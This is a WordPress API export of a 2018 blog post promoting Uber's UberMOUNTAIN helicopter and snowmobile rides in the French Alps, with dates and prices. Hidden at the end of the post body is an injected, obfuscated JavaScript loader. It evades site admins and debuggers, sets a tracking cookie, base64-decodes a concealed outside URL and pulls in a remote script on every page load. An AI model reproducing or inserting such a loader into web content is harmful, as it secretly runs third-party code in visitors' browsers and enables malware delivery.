{"id":4731,"date":"2018-02-22T08:05:42","date_gmt":"2018-02-22T08:05:42","guid":{"rendered":"http:\/\/theduanewells.com\/?p=4731"},"modified":"2026-02-23T18:31:49","modified_gmt":"2026-02-23T18:31:49","slug":"uber-debuts-ubermountain-french-alps","status":"publish","type":"post","link":"https:\/\/theduanewells.com\/staging3\/uber-debuts-ubermountain-french-alps\/","title":{"rendered":"Uber Debuts UberMOUNTAIN in the French Alps"},"content":{"rendered":"<figure id=\"attachment_4734\" aria-describedby=\"caption-attachment-4734\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-4734\" src=\"http:\/\/theduanewells.com\/wp-content\/uploads\/2018\/02\/uber-helicopter-2-1.jpg\" alt=\"uber _helicopter_2\" width=\"600\" height=\"400\" srcset=\"https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-helicopter-2-1.jpg 1024w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-helicopter-2-1-600x400.jpg 600w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-helicopter-2-1-300x200.jpg 300w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-helicopter-2-1-768x512.jpg 768w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><figcaption id=\"caption-attachment-4734\" class=\"wp-caption-text\">Need a ride?<\/figcaption><\/figure>\n<p>To say that <a href=\"https:\/\/www.uber.com\/newsroom\/\" target=\"_blank\" rel=\"noopener\">Uber<\/a> is no stranger to innovation would perhaps be the understatement of a lifetime.<\/p>\n<p>In recent years, the company that revolutionized ground transportation has also launched UberCHOPPER, UberBOAT, UberYACHT and, even UberBALLOON, bringing with every variation on its wildly successful platform, new levels of convenience and luxury to its global multitude of users. Now, in a bid to assist travelers in celebrating the winter holidays with the greatest of ease, Uber is debuting UberMOUNTAIN.<\/p>\n<figure id=\"attachment_4733\" aria-describedby=\"caption-attachment-4733\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4733\" src=\"http:\/\/theduanewells.com\/wp-content\/uploads\/2018\/02\/uber-helicopter-1-1.jpg\" alt=\"uber_helicopter_1\" width=\"600\" height=\"400\" srcset=\"https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-helicopter-1-1.jpg 1024w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-helicopter-1-1-600x400.jpg 600w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-helicopter-1-1-300x200.jpg 300w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-helicopter-1-1-768x512.jpg 768w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><figcaption id=\"caption-attachment-4733\" class=\"wp-caption-text\">Take a break from skiing and simply enjoy the views.<\/figcaption><\/figure>\n<p>Just in time for one of the best ski seasons the region has seen in years, the introduction of UberMOUNTAIN will allow lucky snowbunnies to enjoy the French Alps via helicopter and snowmobile rides at the push of a button.<\/p>\n<figure id=\"attachment_4732\" aria-describedby=\"caption-attachment-4732\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4732\" src=\"http:\/\/theduanewells.com\/wp-content\/uploads\/2018\/02\/in-app-experience-2-1.jpg\" alt=\"in-app-experience-2\" width=\"600\" height=\"400\" srcset=\"https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/in-app-experience-2-1.jpg 1024w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/in-app-experience-2-1-600x400.jpg 600w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/in-app-experience-2-1-300x200.jpg 300w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/in-app-experience-2-1-768x512.jpg 768w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><figcaption id=\"caption-attachment-4732\" class=\"wp-caption-text\">Ordering with UberMOUNTAIN is as easy as ordering an UberX.<\/figcaption><\/figure>\n<p>In order to take advantage of this over-the-moon fabulous feature, users will simply need to open the app, tap on the icon for UberMOUNTAIN and select the options they most desire. How easy is that?<\/p>\n<p>Suddenly the trek to the Alps doesn\u2019t seem so formidable at all now does it?<\/p>\n<p>Here\u2019s what you need to know.<\/p>\n<figure id=\"attachment_4735\" aria-describedby=\"caption-attachment-4735\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4735\" src=\"http:\/\/theduanewells.com\/wp-content\/uploads\/2018\/02\/uber-snowmobile-1.jpg\" alt=\"uber_snowmobile-1\" width=\"600\" height=\"400\" srcset=\"https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-snowmobile-1.jpg 1024w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-snowmobile-1-600x400.jpg 600w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-snowmobile-1-300x200.jpg 300w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2018\/02\/uber-snowmobile-1-768x512.jpg 768w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><figcaption id=\"caption-attachment-4735\" class=\"wp-caption-text\">With UberMOUNTAIN users can order up a complimentary snowmobile in the Alps.<\/figcaption><\/figure>\n<p><strong>When?<\/strong><\/p>\n<p>The special in-app UberMOUNTAIN experience will be available for ten days (Feb 23 &#8211; Mar 4).<\/p>\n<p><strong>What?<\/strong><\/p>\n<p>There will be three options:<\/p>\n<ul>\n<li>Helicopter connection between Lyon, Nice or Cannes to Val d\u2019Is\u00e8re and<\/li>\n<li>Panoramic flights from both ski stations above the Alps, \u20183 Valleys\u2019 and Mont Blanc<\/li>\n<li>Snowmobile activity (free)<\/li>\n<\/ul>\n<p><strong>Cost?<\/strong><\/p>\n<ul>\n<li>Helicopter connection (500\u20ac per person)<\/li>\n<li>Panoramic flights (138\u20ac per person)<\/li>\n<li>Snowmobile activity (Free)<\/li>\n<\/ul>\n<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>To say that Uber is no stranger to innovation would perhaps be the understatement of a lifetime. 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